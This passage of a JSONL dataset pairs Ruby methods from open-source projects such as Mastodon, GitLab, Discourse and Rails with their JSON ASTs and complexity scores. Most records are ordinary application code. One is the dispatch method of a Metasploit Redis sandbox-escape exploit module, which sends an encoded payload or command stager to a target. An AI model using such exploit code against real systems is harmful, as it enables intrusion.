omain\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_with_approval\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@email_domain_block\"]},\"allow_with_approval\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent\"]},{\"type\":\"ivar\",\"children\":[\"@email_domain_block\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"log_action\",{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"lvar\",\"children\":[\"other_email_domain_block\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"admin_email_domain_blocks_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"admin.email_domain_blocks.created_msg\"]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_resolved_records\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"sym\",\"children\":[\"new\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordInvalid\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_resolved_records\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"sym\",\"children\":[\"new\"]}]}]}]},null]}]}","id":"6ce9e894-aaff-48b5-a4c0-71baf325f837"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/rest/relationship_serializer.rb","start_line":55,"raw_source":"def requested\n    instance_options[:relationships].requested[object.id] ? true : false\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"requested\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"relationships\"]}]},\"requested\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"id\"]}]},{\"type\":\"true\",\"children\":[]},{\"type\":\"false\",\"children\":[]}]}]}","id":"d54ecf10-5054-472b-a8c4-5c7c8ceccf35"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/import_state/sidekiq_job_tracker.rb","start_line":15,"raw_source":"def refresh_jid_expiration\n        return unless jid\n\n        Gitlab::SidekiqStatus.set(jid, Gitlab::Import::StuckImportJob::IMPORT_JOBS_EXPIRATION)\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"refresh_jid_expiration\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"jid\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"SidekiqStatus\"]},\"set\",{\"type\":\"send\",\"children\":[null,\"jid\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Import\"]},\"StuckImportJob\"]},\"IMPORT_JOBS_EXPIRATION\"]}]}]}]}","id":"761f461b-653f-40cb-8f3e-f264639004a2"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/script/import_scripts/base_spec.rb","start_line":23,"raw_source":"def import_users\n      users = @import_data[:users]\n      create_users(users) { |row| { email: row[:email], id: row[:id] } }\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"import_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"users\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@import_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"users\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_users\",{\"type\":\"lvar\",\"children\":[\"users\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"email\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}]}","id":"02a74b35-9e4a-412c-b864-3a4dc5c10844"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/vbulletin.rb","start_line":119,"raw_source":"def import_users\n    puts \"\", \"importing users\"\n\n    user_count = mysql_query(\"SELECT COUNT(userid) count FROM #{TABLE_PREFIX}user\").first[\"count\"]\n\n    last_user_id = -1\n\n    batches(BATCH_SIZE) do |offset|\n      users = mysql_query(<<-SQL).to_a\n          SELECT userid\n               , username\n               , homepage\n               , usertitle\n               , usergroupid\n               , joindate\n               , email\n               , password\n               , salt\n            FROM #{TABLE_PREFIX}user\n           WHERE userid > #{last_user_id}\n        ORDER BY userid\n           LIMIT #{BATCH_SIZE}\n      SQL\n\n      break if users.empty?\n\n      last_user_id = users[-1][\"userid\"]\n      users.reject! { |u| @lookup.user_already_imported?(u[\"userid\"]) }\n\n      create_users(users, total: user_count, offset: offset) do |user|\n        email = user[\"email\"].presence || fake_email\n        email = fake_email if !EmailAddressValidator.valid_value?(email)\n\n        password = [user[\"password\"].presence, user[\"salt\"].presence].compact.join(\":\")\n\n        username = @htmlentities.decode(user[\"username\"]).strip\n\n        {\n          id: user[\"userid\"],\n          name: username,\n          username: username,\n          password: password,\n          email: email,\n          merge: true,\n          website: user[\"homepage\"].strip,\n          title: @htmlentities.decode(user[\"usertitle\"]).strip,\n          primary_group_id: group_id_from_imported_group_id(user[\"usergroupid\"].to_i),\n          created_at: parse_timestamp(user[\"joindate\"]),\n          last_seen_at: parse_timestamp(user[\"lastvisit\"]),\n          post_create_action:\n            proc do |u|\n              import_profile_picture(user, u)\n              import_profile_background(user, u)\n            end,\n        }\n      end\n    end\n\n    @usernames =\n      UserCustomField\n        .joins(:user)\n        .where(name: \"import_username\")\n        .pluck(\"user_custom_fields.value\", \"users.username\")\n        .to_h\n  end","complexity_score":91.5,"ast_json":"{\"type\":\"def\",\"children\":[\"import_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"importing users\"]}]},{\"type\":\"lvasgn\",\"children\":[\"user_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT COUNT(userid) count FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"user\"]}]}]},\"first\"]},\"[]\",{\"type\":\"str\",\"children\":[\"count\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"last_user_id\",{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batches\",{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"offset\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"users\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"          SELECT userid\\n\"]},{\"type\":\"str\",\"children\":[\"               , username\\n\"]},{\"type\":\"str\",\"children\":[\"               , homepage\\n\"]},{\"type\":\"str\",\"children\":[\"               , usertitle\\n\"]},{\"type\":\"str\",\"children\":[\"               , usergroupid\\n\"]},{\"type\":\"str\",\"children\":[\"               , joindate\\n\"]},{\"type\":\"str\",\"children\":[\"               , email\\n\"]},{\"type\":\"str\",\"children\":[\"               , password\\n\"]},{\"type\":\"str\",\"children\":[\"               , salt\\n\"]},{\"type\":\"str\",\"children\":[\"            FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"user\\n\"]},{\"type\":\"str\",\"children\":[\"           WHERE userid > \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_user_id\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        ORDER BY userid\\n\"]},{\"type\":\"str\",\"children\":[\"           LIMIT \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},\"to_a\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"empty?\"]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"last_user_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]}]},\"[]\",{\"type\":\"str\",\"children\":[\"userid\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"reject!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"u\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@lookup\"]},\"user_already_imported?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"[]\",{\"type\":\"str\",\"children\":[\"userid\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_users\",{\"type\":\"lvar\",\"children\":[\"users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total\"]},{\"type\":\"lvar\",\"children\":[\"user_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offset\"]},{\"type\":\"lvar\",\"children\":[\"offset\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"email\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"email\"]}]},\"presence\"]},{\"type\":\"send\",\"children\":[null,\"fake_email\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmailAddressValidator\"]},\"valid_value?\",{\"type\":\"lvar\",\"children\":[\"email\"]}]},\"!\"]},{\"type\":\"lvasgn\",\"children\":[\"email\",{\"type\":\"send\",\"children\":[null,\"fake_email\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"password\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"password\"]}]},\"presence\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"salt\"]}]},\"presence\"]}]},\"compact\"]},\"join\",{\"type\":\"str\",\"children\":[\":\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"username\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@htmlentities\"]},\"decode\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"username\"]}]}]},\"strip\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"userid\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"lvar\",\"children\":[\"password\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"lvar\",\"children\":[\"email\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"website\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"homepage\"]}]},\"strip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@htmlentities\"]},\"decode\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"usertitle\"]}]}]},\"strip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"primary_group_id\"]},{\"type\":\"send\",\"children\":[null,\"group_id_from_imported_group_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"usergroupid\"]}]},\"to_i\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[null,\"parse_timestamp\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"joindate\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_seen_at\"]},{\"type\":\"send\",\"children\":[null,\"parse_timestamp\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"lastvisit\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_create_action\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"u\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import_profile_picture\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"u\"]}]},{\"type\":\"send\",\"children\":[null,\"import_profile_background\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"u\"]}]}]}]}]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@usernames\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserCustomField\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"user\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"import_username\"]}]}]}]},\"pluck\",{\"type\":\"str\",\"children\":[\"user_custom_fields.value\"]},{\"type\":\"str\",\"children\":[\"users.username\"]}]},\"to_h\"]}]}]}]}","id":"5c2de544-8b35-4c24-be50-66fa2b2303f7"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/multibyte_chars_test.rb","start_line":228,"raw_source":"def test_insert_throws_index_error\n    assert_raise(IndexError) { @chars.insert(-12, \"わ\") }\n    assert_raise(IndexError) { @chars.insert(12, \"わ\") }\n  end","complexity_score":6.85,"ast_json":"{\"type\":\"def\",\"children\":[\"test_insert_throws_index_error\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"IndexError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@chars\"]},\"insert\",{\"type\":\"int\",\"children\":[-12]},{\"type\":\"str\",\"children\":[\"わ\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"IndexError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@chars\"]},\"insert\",{\"type\":\"int\",\"children\":[12]},{\"type\":\"str\",\"children\":[\"わ\"]}]}]}]}]}","id":"584b1e95-2741-4f75-a1af-c847186c2b92"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/workers/meetings/pdf/default/attachments.rb","start_line":76,"raw_source":"def attachment_link_href(attachment)\n    \"#{Setting.protocol}://#{Setting.host_name}#{\n      API::V3::Utilities::PathHelper::ApiV3Path.attachment_content(attachment.id)\n    }\"\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"attachment_link_href\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attachment\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"protocol\"]}]},{\"type\":\"str\",\"children\":[\"://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"host_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"API\"]},\"V3\"]},\"Utilities\"]},\"PathHelper\"]},\"ApiV3Path\"]},\"attachment_content\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"id\"]}]}]}]}]}","id":"f23f5a94-e0ee-45d8-8cfc-5535316b4156"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/error_tracking/processor/concerns/processes_exceptions.rb","start_line":16,"raw_source":"def set_exception_message(exception, message)\n            if exception.respond_to?(:value=)\n              exception.value = message\n            else\n              exception.instance_variable_set(:@value, message)\n            end\n          end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_exception_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exception\"]},{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"value=\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"value=\",{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"instance_variable_set\",{\"type\":\"sym\",\"children\":[\"@value\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}","id":"b8962057-8dbb-4752-8f9a-9b64dae536ae"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250724125602_create_p_ci_job_definitions.rb","start_line":6,"raw_source":"def change\n    index_name = :index_p_ci_job_definitions_on_project_id_and_checksum\n    opts = {\n      primary_key: [:id, :partition_id],\n      options: 'PARTITION BY LIST (partition_id)'\n    }\n\n    create_table(:p_ci_job_definitions, **opts) do |t|\n      t.bigserial :id, null: false\n      t.bigint :partition_id, null: false\n      t.bigint :project_id, null: false\n      t.timestamps_with_timezone null: false\n      t.boolean :interruptible, default: false, null: false, index: true\n      t.binary :checksum, null: false\n      t.jsonb :config, default: {}, null: false\n\n      t.index [:project_id, :checksum, :partition_id], unique: true, name: index_name\n    end\n  end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"index_name\",{\"type\":\"sym\",\"children\":[\"index_p_ci_job_definitions_on_project_id_and_checksum\"]}]},{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"primary_key\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"partition_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"str\",\"children\":[\"PARTITION BY LIST (partition_id)\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"p_ci_job_definitions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigserial\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"partition_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps_with_timezone\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"boolean\",{\"type\":\"sym\",\"children\":[\"interruptible\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"binary\",{\"type\":\"sym\",\"children\":[\"checksum\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"jsonb\",{\"type\":\"sym\",\"children\":[\"config\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"sym\",\"children\":[\"checksum\"]},{\"type\":\"sym\",\"children\":[\"partition_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"index_name\"]}]}]}]}]}]}]}]}","id":"2abd6941-2caa-46a6-a3a3-3d1af369dbcb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/redis/redis_debian_sandbox_escape.rb","start_line":183,"raw_source":"def exploit\n    print_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\")\n    case target['Type']\n    when :unix_cmd\n      execute_command(payload.encoded)\n    when :linux_dropper\n      execute_cmdstager\n    end\n  end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PAYLOAD\"]}]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Type\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"unix_cmd\"]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"linux_dropper\"]},{\"type\":\"send\",\"children\":[null,\"execute_cmdstager\"]}]},null]}]}]}","id":"1ad413b4-fc2e-466d-93ca-9055246125f6"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/integrations/hook.rb","start_line":59,"raw_source":"def notion?\n    app_id == 'notion'\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"notion?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app_id\"]},\"==\",{\"type\":\"str\",\"children\":[\"notion\"]}]}]}","id":"5dd7337b-382e-4547-8f3b-0b16d7d4b6c6"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_buf_file_single.rb","start_line":64,"raw_source":"def format(tag, time, record)\n      [tag, time.to_i, record].to_json + \"\\n\"\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"format\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]},{\"type\":\"arg\",\"children\":[\"time\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"to_i\"]},{\"type\":\"lvar\",\"children\":[\"record\"]}]},\"to_json\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}","id":"5453d06c-7950-4d8f-b822-e6c9b1116d8e"}
